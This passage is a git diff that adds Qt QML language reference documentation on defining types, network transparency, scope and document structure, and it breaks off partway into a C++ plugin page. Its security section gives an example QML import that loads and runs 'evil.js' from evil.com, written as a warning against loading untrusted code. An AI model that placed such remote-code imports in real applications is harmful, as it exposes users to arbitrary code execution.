aboutsummaryrefslogtreecommitdiffstats
path: root/src/qml/doc/src/qmllanguageref
diff options
context:
space:
mode:
Diffstat (limited to 'src/qml/doc/src/qmllanguageref')
-rw-r--r--src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc147
-rw-r--r--src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc141
-rw-r--r--src/qml/doc/src/qmllanguageref/documents/scope.qdoc350
-rw-r--r--src/qml/doc/src/qmllanguageref/documents/structure.qdoc88
-rw-r--r--src/qml/doc/src/qmllanguageref/documents/topic.qdoc127
-rw-r--r--src/qml/doc/src/qmllanguageref/modules/cppplugins.qdoc136
-rw-r--r--src/qml/doc/src/qmllanguageref/modules/identifiedmodules.qdoc198
-rw-r--r--src/qml/doc/src/qmllanguageref/modules/legacymodules.qdoc83
-rw-r--r--src/qml/doc/src/qmllanguageref/modules/qmldir.qdoc434
-rw-r--r--src/qml/doc/src/qmllanguageref/modules/topic.qdoc105
-rw-r--r--src/qml/doc/src/qmllanguageref/qmlreference.qdoc113
-rw-r--r--src/qml/doc/src/qmllanguageref/syntax/basics.qdoc190
-rw-r--r--src/qml/doc/src/qmllanguageref/syntax/directoryimports.qdoc203
-rw-r--r--src/qml/doc/src/qmllanguageref/syntax/imports.qdoc308
-rw-r--r--src/qml/doc/src/qmllanguageref/syntax/objectattributes.qdoc983
-rw-r--r--src/qml/doc/src/qmllanguageref/syntax/propertybinding.qdoc189
-rw-r--r--src/qml/doc/src/qmllanguageref/syntax/signals.qdoc295
-rw-r--r--src/qml/doc/src/qmllanguageref/typesystem/basictypes.qdoc675
-rw-r--r--src/qml/doc/src/qmllanguageref/typesystem/objecttypes.qdoc132
-rw-r--r--src/qml/doc/src/qmllanguageref/typesystem/topic.qdoc98
20 files changed, 4995 insertions, 0 deletions
diff --git a/src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc b/src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc
new file mode 100644
index 0000000000..4e1d4a2c86
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/definetypes.qdoc
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-definetypes.html
+\title Defining Object Types through QML Documents
+\brief Description of how a QML document is a reusable type definition
+
+One of the core features of QML is that it enables QML object types to be easily defined in a lightweight manner through QML documents to suit the needs of individual QML applications. The standard \l {Qt Quick} module provides various types like \l Rectangle, \l Text and \l Image for building a QML application; beyond these, you can easily define your own QML types to be reused within your application. This ability to create your own types forms the building blocks of any QML application.
+
+
+\section1 Defining an Object Type with a QML File
+
+To create an object type, a QML document should be placed into a text file named as \e <TypeName>.qml where \e <TypeName> is the desired name of the type, which must be comprised of alphanumeric characters or underscores and beginning with an uppercase letter. This document is then automatically recognized by the engine as a definition of a QML type. Additionally, a type defined in this manner is automatically made available to other QML files within the same directory as the engine searches within the immediate directory when resolving QML type names.
+
+For example, below is a document that declares a \l Rectangle with a child \l MouseArea. The document has been saved to file named \c SquareButton.qml:
+
+\qml
+// SquareButton.qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("Button clicked!")
+ }
+}
+\endqml
+
+Since the file is named \c SquareButton.qml, \b {this can now be used as a type named \c SquareButton by any other QML file within the same directory}. For example, if there was a \c myapplication.qml file in the same directory, it could refer to the \c SquareButton type:
+
+\qml
+// myapplication.qml
+import QtQuick 2.0
+
+SquareButton {}
+\endqml
+
+\image documents-definetypes-simple.png
+
+This creates a 100 x 100 red \l Rectangle with an inner \l MouseArea, as defined in \c SquareButton.qml. When this \c myapplication.qml document is loaded by the engine, it loads the SquareButton.qml document as a component and instantiates it to create a \c SquareButton object.
+
+The \c SquareButton type encapsulates the tree of QML objects declared in \c SquareButton.qml. When the QML engine instantiates a \c SquareButton object from this type, it is instantiating an object from the \l Rectangle tree declared in \c SquareButton.qml.
+
+\note the letter case of the file name is significant on some (notably UNIX) filesystems. It is recommended the file name case matches the case of the desired QML type name exactly - for example, \c Box.qml and not \c BoX.qml - regardless of the platform to which the QML type will be deployed.
+
+\section2 Importing Types Defined Outside the Current Directory
+
+If \c SquareButton.qml was not in the same directory as \c myapplication.qml,
+the \c SquareButton type would need to be specifically made available through an \e import statement in \c myapplication.qml. It could be imported from a relative path on the file system, or as an installed module; see \l {QML Modules}{module} for more details.
+
+
+\section1 Accessible Attributes of Custom Types
+
+The \b {root object} definition in a .qml file \b {defines the attributes that are available for a QML type}. All properties, signals and methods that belong to this root object - whether they are custom declared, or come from the QML type of the root object - are externally accessible and can be read and modified for objects of this type.
+
+For example, the root object type in the \c SquareButton.qml file above is \l Rectangle. This means any properties defined by the \l Rectangle type can be modified for a \c SquareButton object. The code below defines three \c SquareButton objects with customized values for some of the properties of the root \l Rectangle object of the \c SquareButton type:
+
+\qml
+// application.qml
+import QtQuick 2.0
+
+Column {
+ SquareButton { width: 50; height: 50 }
+ SquareButton { x: 50; color: "blue" }
+ SquareButton { radius: 10 }
+}
+\endqml
+
+\image documents-definetypes-attributes.png
+
+The attributes that are accessible to objects of the custom QML type include any \l{Defining Property Attributes}{custom properties}, \l{Defining Method Attributes}{methods} and \l{Defining Signal Attributes}{signals} that have additionally been defined for an object. For example, suppose the \l Rectangle in \c SquareButton.qml had been defined as follows, with additional properties, methods and signals:
+
+\qml
+// SquareButton.qml
+import QtQuick 2.0
+
+Rectangle {
+ id: root
+
+ property bool pressed: mouseArea.pressed
+
+ signal buttonClicked(real xPos, real yPos)
+
+ function randomizeColor() {
+ root.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1)
+ }
+
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: root.buttonClicked(mouse.x, mouse.y)
+ }
+}
+\endqml
+
+Any \c SquareButton object could make use of the \c pressed property, \c buttonClicked signal and \c randomizeColor() method that have been added to the root \l Rectangle:
+
+\qml
+// application.qml
+import QtQuick 2.0
+
+SquareButton {
+ id: squareButton
+
+ onButtonClicked: {
+ console.log("Clicked", xPos, yPos)
+ randomizeColor()
+ }
+
+ Text { text: squareButton.pressed ? "Down" : "Up" }
+}
+\endqml
+
+Note that any of the \c id values defined in \c SquareButton.qml are not accessible to \c SquareButton objects, as id values are only accessible from within the component scope in which a component is declared. The \c SquareButton object definition above cannot refer to \c mouseArea in order to refer to the \l MouseArea child, and if it had an \c id of \c root rather than \c squareButton, this would not conflict with the \c id of the same value for the root object defined in \c SquareButton.qml as the two would be declared within separate scopes.
+
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc b/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc
new file mode 100644
index 0000000000..ea46b3381e
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc
@@ -0,0 +1,141 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-networktransparency.html
+\title Resource Loading and Network Transparency
+\brief about loading files and resources accross a network
+
+QML supports network transparency by using URLs (rather than file names) for all
+references from a QML document to other content. This means that anywhere a URL source is expected,
+QML can handle remote resources as well as local ones, for example in the following image source:
+
+\qml
+Image {
+ source: "http://www.example.com/images/logo.png"
+}
+\endqml
+
+Since a \e relative URL is the same
+as a relative file, development of QML on regular file systems remains simple:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+Network transparency is supported throughout QML, for example:
+
+\list
+\li Fonts - the \c source property of FontLoader is a URL
+\li WebViews - the \c url property of WebView (obviously!)
+\endlist
+
+Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load
+\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
+will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
+For example if the qmldir file contains the line "World World.qml", it will load
+\tt http://example.com/mystuff/World.qml
+Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
+similarly be loaded from the network.
+
+
+\section1 Relative vs. Absolute URLs
+
+Whenever an object has a property of type URL (QUrl), assigning a string to that
+property will actually assign an absolute URL - by resolving the string against
+the URL of the document where the string is used.
+
+For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
+but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
+\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
+
+If the string assigned to a URL is already an absolute URL, then "resolving" does
+not change it and the URL is assigned directly.
+
+
+\section1 QRC Resources
+
+One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
+the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
+that is compiled into the executable:
+
+\code
+ QQuickView *view = new QQuickView;
+ view->setUrl(QUrl("qrc:/dial.qml"));
+\endcode
+
+The content itself can then use relative URLs, and so be transparently unaware that the content is
+compiled into the executable.
+
+
+\section1 Limitations
+
+The \c import statement is only network transparent if it has an "as" clause.
+
+More specifically:
+\list
+\li \c{import "dir"} only works on local file systems
+\li \c{import libraryUri} only works on local file systems
+\li \c{import "dir" as D} works network transparently
+\li \c{import libraryUrl as U} works network transparently
+\endlist
+
+
+\section1 Implications for Application Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, QML application developers should not load
+and execute arbitary JavaScript or QML resources. For example, consider the QML code below:
+
+\qml
+import QtQuick 2.0
+import "http://evil.com/evil.js" as Evil
+
+Component {
+ onLoaded: Evil.doEvil()
+}
+\endqml
+
+This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
+will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
+
+As with any application accessing other content beyond its control, a QML application should
+perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/scope.qdoc b/src/qml/doc/src/qmllanguageref/documents/scope.qdoc
new file mode 100644
index 0000000000..9da77a4905
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/scope.qdoc
@@ -0,0 +1,350 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-scope.html
+\title Scope and Naming Resolution
+\brief overview of scope and naming resolution
+
+QML property bindings, inline functions, and imported JavaScript files all
+run in a JavaScript scope. Scope controls which variables an expression can
+access, and which variable takes precedence when two or more names conflict.
+
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit
+more naturally with the QML language extensions.
+
+\section1 JavaScript Scope
+
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
+
+In the following example, the \c {addConstant()} method will add 13 to the
+parameter passed just as the programmer would expect irrespective of the
+value of the QML object's \c a and \c b properties.
+
+\code
+QtObject {
+ property int a: 3
+ property int b: 9
+
+ function addConstant(b) {
+ var a = 13;
+ return b + a;
+ }
+}
+\endcode
+
+That QML respects JavaScript's normal scoping rules even applies in bindings.
+This totally evil, abomination of a binding will assign 12 to the QML object's
+\c a property.
+
+\code
+QtObject {
+ property int a
+
+ a: { var a = 12; a; }
+}
+\endcode
+
+Every JavaScript expression, function or file in QML has its own unique
+variable object. Local variables declared in one will never conflict
+with local variables declared in another.
+
+\section1 Type Names and Imported JavaScript Files
+
+\l {QML Document}s include import statements that define the type names
+and JavaScript files visible to the document. In addition to their use in the
+QML declaration itself, type names are used by JavaScript code when accessing
+\l {Attached Properties} and enumeration values.
+
+The effect of an import applies to every property binding, and JavaScript
+function in the QML document, even those in nested inline components. The
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
+
+\code
+import QtQuick 2.0
+import "code.js" as Code
+
+ListView {
+ snapMode: ListView.SnapToItem
+
+ delegate: Component {
+ Text {
+ elide: Text.ElideMiddle
+ text: "A really, really long string that will require eliding."
+ color: Code.defaultColor()
+ }
+ }
+}
+\endcode
+
+\section1 Binding Scope Object
+
+Property bindings are the most common use of JavaScript in QML. Property
+bindings associate the result of a JavaScript expression with a property of an
+object. The object to which the bound property belongs is known as the binding's
+scope object. In this QML simple declaration the \l Item object is the
+binding's scope object.
+
+\code
+Item {
+ anchors.left: parent.left
+}
+\endcode
+
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix. QML introduces a more
+structured, object-oriented approach to JavaScript, and consequently does not
+require the use of the JavaScript \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object. Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an
+attached property on the scope object, which is not always what the programmer
+intended.
+
+For example, the \l PathView type attaches interpolated value properties to
+its delegates depending on their position in the path. As PathView only
+meaningfully attaches these properties to the root object in the delegate, any
+sub-object that accesses them must explicitly qualify the root object, as shown
+below.
+
+\code
+PathView {
+ delegate: Component {
+ Rectangle {
+ id: root
+ Image {
+ scale: root.PathView.scale
+ }
+ }
+ }
+}
+\endcode
+
+If the \l Image object omitted the \c root prefix, it would inadvertently access
+the unset \c {PathView.scale} attached property on itself.
+
+\section1 Component Scope
+
+Each QML component in a QML document defines a logical scope. Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the
+component's root object's properties.
+
+\code
+Item {
+ property string title
+
+ Text {
+ id: title
+ text: "<b>" + title + "</b>"
+ font.pixelSize: 22
+ anchors.top: parent.top
+ }
+
+ Text {
+ text: title.text
+ font.pixelSize: 18
+ anchors.bottom: parent.bottom
+ }
+}
+\endcode
+
+The example above shows a simple QML component that displays a rich text title
+string at the top, and a smaller copy of the same text at the bottom. The first
+\c Text type directly accesses the component's \c title property when
+forming the text to display. That the root type's properties are directly
+accessible makes it trivial to distribute data throughout the component.
+
+The second \c Text type uses an id to access the first's text directly. IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}). For
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope
+object} had a \c titletype property in the previous example, the \c titletype
+id would still take precedence.
+
+\section1 Component Instance Hierarchy
+
+In QML, component instances connect their component scopes together to form a
+scope hierarchy. Component instances can directly access the component scopes of
+their ancestors.
+
+The easiest way to demonstrate this is with inline sub-components whose component
+scopes are implicitly scoped as children of the outer component.
+
+\code
+Item {
+ property color defaultColor: "blue"
+
+ ListView {
+ delegate: Component {
+ Rectangle {
+ color: defaultColor
+ }
+ }
+ }
+}
+\endcode
+
+The component instance hierarchy allows instances of the delegate component
+to access the \c defaultColor property of the \c Item type. Of course,
+had the delegate component had a property called \c defaultColor that would
+have taken precedence.
+
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two
+\c TitleText instances. Even though the \c TitleText type is in a separate
+file, it still has access to the \c title property when it is used from within
+the \c TitlePage. QML is a dynamically scoped language - depending on where it
+is used, the \c title property may resolve differently.
+
+\code
+// TitlePage.qml
+import QtQuick 2.0
+Item {
+ property string title
+
+ TitleText {
+ size: 22
+ anchors.top: parent.top
+ }
+
+ TitleText {
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
+
+// TitleText.qml
+import QtQuick 2.0
+Text {
+ property int size
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
+
+Dynamic scoping is very powerful, but it must be used cautiously to prevent
+the behavior of QML code from becoming difficult to predict. In general it
+should only be used in cases where the two components are already tightly
+coupled in another way. When building reusable components, it is preferable
+to use property interfaces, like this:
+
+\code
+// TitlePage.qml
+import QtQuick 2.0
+Item {
+ id: root
+ property string title
+
+ TitleText {
+ title: root.title
+ size: 22
+ anchors.top: parent.top
+ }
+
+ TitleText {
+ title: root.title
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
+
+// TitleText.qml
+import QtQuick 2.0
+Text {
+ property string title
+ property int size
+
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
+
+\section1 Overridden Properties
+
+QML permits property names defined in an object declaration to be overridden by properties
+declared within another object declaration that extends the first. For example:
+
+\code
+// Displayable.qml
+import QtQuick 2.0
+Item {
+ property string title
+ property string detail
+
+ Text {
+ text: "<b>" + title + "</b><br>" + detail
+ }
+
+ function getTitle() { return title }
+ function setTitle(newTitle) { title = newTitle }
+}
+
+// Person.qml
+import QtQuick 2.0
+Displayable {
+ property string title
+ property string firstName
+ property string lastName
+
+ function fullName() { return title + " " + firstName + " " + lastName }
+}
+\endcode
+
+Here, the name \c title is given to both the heading of the output text for Displayable,
+and also to the honorific title of the Person object.
+
+An overridden property is resolved according to the scope in which it is referenced.
+Inside the scope of the Person component, or from an external scope that refers
+to an instance of the Person component, \c title resolves to the property
+declared inside Person.qml. The \c fullName function will refer to the \c title
+property declared inside Person.
+
+Inside the Displayable component, however, \c title refers to the property
+declared in Displayable.qml. The getTitle() and setTitle() functions, and the
+binding for the \c text property of the Text object will all refer to the \c title
+property declared in the Displayable component.
+
+Despite sharing the same name, the two properties are entirely separate. An
+onChanged signal handler for one of the properties will not be triggered by
+a change to the other property with the same name. An alias to either property
+will refer to one or the other, but not both.
+
+\section1 JavaScript Global Object
+
+QML disallows type, id and property names that conflict with the properties
+on the global object to prevent any confusion. Programmers can be confident
+that \c Math.min(10, 9) will always work as expected!
+
+See \l {JavaScript Host Environment} for more information.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/structure.qdoc b/src/qml/doc/src/qmllanguageref/documents/structure.qdoc
new file mode 100644
index 0000000000..c8176f7e0f
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/structure.qdoc
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-structure.html
+\title Structure of a QML Document
+\brief Description of the structure of QML documents
+
+
+A QML document is a self contained piece of QML source code that consists of two parts:
+
+ \list
+ \li Its \e import statements
+ \li A single root object declaration
+ \endlist
+
+By convention, a single empty line separates the imports from the object hierarchy definition.
+
+QML documents are always encoded in UTF-8 format.
+
+
+
+\section1 Imports
+
+A document must import the necessary modules or type namespaces to enable the
+engine to load the QML object types referenced within the document. By default,
+a document can access any QML object types that have been defined through
+\c .qml files in the same directory; if a document needs to refer to any other
+object types, it must import the type namespace into which those types have
+been registered.
+
+QML does \e not have a preprocessor that modifies the document prior to
+presentation to the \l{QQmlEngine}{QML engine}, unlike C or C++.
+The \c import statements do not copy and prepend the code in the document, but
+instead instruct the QML engine on how to resolve type references found
+in the document. Any type reference present in a QML document - such as \c
+Rectangle and \c ListView - including those made within an \l {Inline
+JavaScript}{JavaScript block} or \l {Property Binding}{property
+bindings}, are \e resolved based exclusively on the import statements. At least
+one \c import statement must be present such as \c{import QtQuick 2.0}.
+
+Please see the \l{qtqml-syntax-imports.html}{QML Syntax - Import Statements}
+documentation for in-depth information about QML imports.
+
+
+\section1 The Root Object Declaration
+
+A QML document describes a hierarchy of objects which can be instantiated.
+Each object definition has a certain structure; it has a type, it can have an
+id and an object name, it can have properties, it can have methods, it can have
+signals and it can have signal handlers.
+
+A QML file must only contain \b {a single root object definition}. The following is invalid and will generate an error:
+
+\code
+// MyQmlFile.qml
+import QtQuick 2.0
+
+Rectangle { width: 200; height: 200; color: "red" }
+Rectangle { width: 200; height: 200; color: "blue" } // invalid!
+\endcode
+
+This is because a .qml file automatically defines a QML type, which encapsulates a \e single QML object definition. This is discussed further in \l{qtqml-documents-definetypes.html}{Documents as QML object type definitions}.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/documents/topic.qdoc b/src/qml/doc/src/qmllanguageref/documents/topic.qdoc
new file mode 100644
index 0000000000..aed89f6423
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/documents/topic.qdoc
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-topic.html
+\title QML Documents
+\brief Description of QML documents
+
+A QML document is a string which conforms to QML document syntax. A document
+defines a QML object type. A document is generally loaded from a \c ".qml"
+file stored either locally or remotely, but can be constructed manually in
+code. An instance of the object type defined by a document may be created
+using a \l Component in QML code, or a \l QQmlComponent in C++.
+Alternatively, if the object type is explicitly exposed to the QML type system
+with a particular type name, the type may be used directly in object
+declarations in other documents.
+
+The ability to define re-usable QML object types in documents is an important
+enabler to allow clients to write modular, highly readable and maintainable
+code.
+
+\section1 Structure of a QML Document
+
+A QML document consists of two sections: the imports section, and the object
+declaration section. The imports section in a document contains import
+statements that define which QML object types and JavaScript resources the
+document is able to use. The object declaration section defines the object
+tree to be created when instantiating the object type defined by the document.
+
+An example of a simple document is as follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 300
+ height: 200
+ color: "blue"
+}
+\endqml
+
+See the \l {qtqml-documents-structure.html}{Structure of a QML Document}
+for more information on the topic.
+
+\section2 Syntax of the QML Language
+
+The object declaration section of the document must specify a valid object
+hierarchy with appropriate \l {qtqml-syntax-basics.html}{QML syntax}. An
+object declaration may include the specification of custom
+\l{qtqml-syntax-objectattributes.html}{object attributes}. Object method
+attributes may be specified as JavaScript functions, and object property
+attributes may be assigned \l{qtqml-syntax-propertybinding.html}
+{property binding expressions}.
+
+Please see the documentation about the \l{qtqml-syntax-basics.html}
+{syntax of QML} for more information about valid syntax, and see the
+documentation about \l{qtqml-javascript-topic.html}
+{integrating QML and JavaScript} for in-depth information on that topic.
+
+\section1 Defining Object Types through QML Documents
+
+As described briefly in the previous section, a document implicitly defines
+a QML object type. One of the core principles of QML is the ability to define
+and then re-use object types. This improves the maintainability of QML code,
+increases the readability of object hierarchy declarations, and promotes
+separation between UI definition and logic implementation.
+
+In the following example, the client developer defines a \c Button type with
+a document in a file:
+
+\snippet ../quick/doc/snippets/qml/qml-extending-types/components/Button.qml 0
+
+The \c Button type can then be used in an application:
+
+\table
+\row
+\li \snippet ../quick/doc/snippets/qml/qml-extending-types/components/application.qml 0
+\li \image button-types.png
+\endtable
+
+Please see the documentation about \l{qtqml-documents-definetypes.html}
+{defining object types in documents} for in-depth information on the
+topic.
+
+\section1 Resource Loading and Network Transparency
+
+It is important to note that QML is network-transparent. Applications can
+import documents from remote paths just as simply as documents from local
+paths. In fact, any \c url property may be assigned a remote or local URL,
+and the QML engine will handle any network communication involved.
+
+Please see the \l{qtqml-documents-networktransparency.html}
+{Network Transparency} documentation for more information about network
+transparency in imports.
+
+\section1 Scope and Naming Resolution
+
+Expressions in documents usually involve objects or properties of objects,
+and since multiple objects may be defined and since different objects may have
+properties with the same name, some predefined symbol resolution semantics must
+be defined by QML. Please see the page on \l{qtqml-documents-scope.html}
+{scope and symbol resolution} for in-depth information about the topic.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/modules/cppplugins.qdoc b/src/qml/doc/src/qmllanguageref/modules/cppplugins.qdoc
new file mode 100644
index 0000000000..7ac1d400eb
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/modules/cppplugins.qdoc
@@ -0,0 +1,136 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtqml-modules-cppplugins.html
+\title Creating C++ Plugins for QML
+\brief Description of how to write C++ plugins for QML
+
+\section1 Creating a Plugin
+
+ The \l{QQmlEngine}{QML engine} load C++ plugins for QML.
+ Such plugins are usually provided in a QML extension module, and can
+ provide types and functionality for use by clients in QML documents
+ which import the module.
+
+ QQmlExtensionPlugin is a plugin interface that makes it possible to
+ create QML extensions that can be loaded dynamically into QML applications.
+ These extensions allow custom QML types to be made available to the
+ QML engine.
+
+ To write a QML extension plugin:
+ \list 1
+ \li Subclass QQmlExtensionPlugin
+ \list
+ \li Use the Q_PLUGIN_METADATA() macro to register the plugin with
+ the Qt meta object system
+ \li Override the \l{QQmlExtensionPlugin::}{registerTypes()} method
+ and call qmlRegisterType() to register the types to be exported
+ by the plugin
+ \endlist
+ \li Write a project file for the plugin
+ \li Create a \l{Module Definition qmldir Files}{qmldir file} to
+ describe the plugin
+ \endlist
+
+ QML extension plugins are for either application-specific or library-like
+ plugins. Library plugins should limit themselves to registering types, as
+ any manipulation of the engine's root context may cause conflicts or other
+ issues in the library user's code.
+
+\section1 Plugin Example
+
